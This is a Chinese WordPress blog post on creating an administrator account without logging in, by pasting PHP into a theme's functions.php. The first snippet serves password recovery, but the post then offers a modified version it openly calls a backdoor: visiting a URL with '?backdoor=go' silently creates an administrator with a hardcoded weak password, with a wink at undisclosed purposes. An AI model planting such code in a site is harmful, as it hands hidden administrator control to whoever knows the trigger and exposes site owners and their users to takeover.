不登录WordPress后台直接新建一个管理员账号

知更鸟
知更鸟
知更鸟
1619
文章
6927
评论
2020年8月19日15:02:52 2 394

之前“找回 WordPress 登录密码”文章提供的找回登录密码方法有一个局限性,就是如果连登录名和邮件地址也忘了(该找医生看看了),还是无法解决,这里再提供一个方法。

不登录WordPress后台直接新建一个管理员账号

不登录WordPress 后台直接新建一个管理员账号

可以通过FTP,将下面代码添加到当前主题函数模板functions.php中,然后刷新页面会新建一个管理员账号:

// 新建一个管理账号
$user_email = '123@123.com';
$user_password = '123456';
if ( !username_exists( $user_email ) ) {
	$user_id = wp_create_user( $user_email, $user_password, $user_email );
	wp_update_user( array( 'ID' => $user_id, 'nickname' => $user_email ) );
	$user = new WP_User( $user_id );
	$user->set_role( 'administrator' );
	wp_die( '添加用户成功!' );
} else {
	wp_die( '该用户已经存在,用后请移除本代码!' );
}

修改其中的邮件地址和密码,用后请移除本代码。

登录新建的管理员账号,修改原来账号的密码或者直接删除原来的账号。


 

不登录WordPress后台直接新建一个管理员账号

这段代码还有一个不可告人的功能,稍微改一下,变成后门!

这段代码还有一个不可告人的功能,稍微改一下,变成后门!双刃剑看怎么用了。

if ($_GET['backdoor'] == 'go') {
	$user_email = '123@123.com';
	$user_password = '123456';
	if ( !username_exists( $user_email ) ) {
		$user_id = wp_create_user( $user_email, $user_password, $user_email );
		wp_update_user( array( 'ID' => $user_id, 'nickname' => $user_email ) );
		$user = new WP_User( $user_id );
		$user->set_role( 'administrator' );
		wp_die( '添加用户成功!' );
	} else {
		wp_die( '该用户已经存在,用后请移除本代码!' );
	}
}

只有打开一个特定的链接,比如:

example.com/?backdoor=go

才会运行这段代码,并新建管理账号,至于目的是什么,自己想像吧。

 

 

weinxin
版权声明
本站原创文章转载请注明文章出处
解决WordPress 5.6 WordPress

解决WordPress 5.6 “从URL插入”图片BUG

在WordPress 5.6 唯一让人欣慰的是中文版同期发布,因为开发者一直在努力优化增强区块编辑器,而我自己一直在使用经典编辑器,没感觉有什么变化。 不过很快发现一个BUG,就是使用经典编辑器添加图...
WordPress 判断浏览器 WordPress

WordPress 判断浏览器

目前大部分主题模板对已淘汰的IE支持不好,影响体验,可以利用WordPress提供的变量,判断访问者用浏览器,然后提醒用户升级浏览器。 比如在主题模板适当位置添加: <?php global $...
WordPress 5.6 发布 WordPress

WordPress 5.6 发布

WordPress 5.6 为您带来无数方法,让您的想法自由自在,并把它们付给生活。使用全新的默认主题作为画布,它支持不断增长的块集合作为画笔。用文字画。图片。声音。或丰富的嵌入式媒体。 更大的布局灵...
搭建本地PHP8环境 WordPress

搭建本地PHP8环境

之前一直用phpStudy搭建本地环境,PHP8 于2020年11月26日发布,phpStudy目前并没有集成PHP8,试着添加无果,最后还是用回老牌的建站集成软件包XAMPP(Apache+MySQ...
匿名

发表评论

匿名网友

:?: :razz: :sad: :evil: :!: :smile: :oops: :grin: :eek: :shock: :???: :cool: :lol: :mad: :twisted: :roll: :wink: :idea: :arrow: :neutral: :cry: :mrgreen:

评论:2   其中:访客  2   博主  0
    • X X 1

      好厉害的样子!
      话说主题更新日志怎么才到4月份 :razz:

      • Pepsi Pepsi 0

        想不到你一个卖主题的,居然也开始注重SEO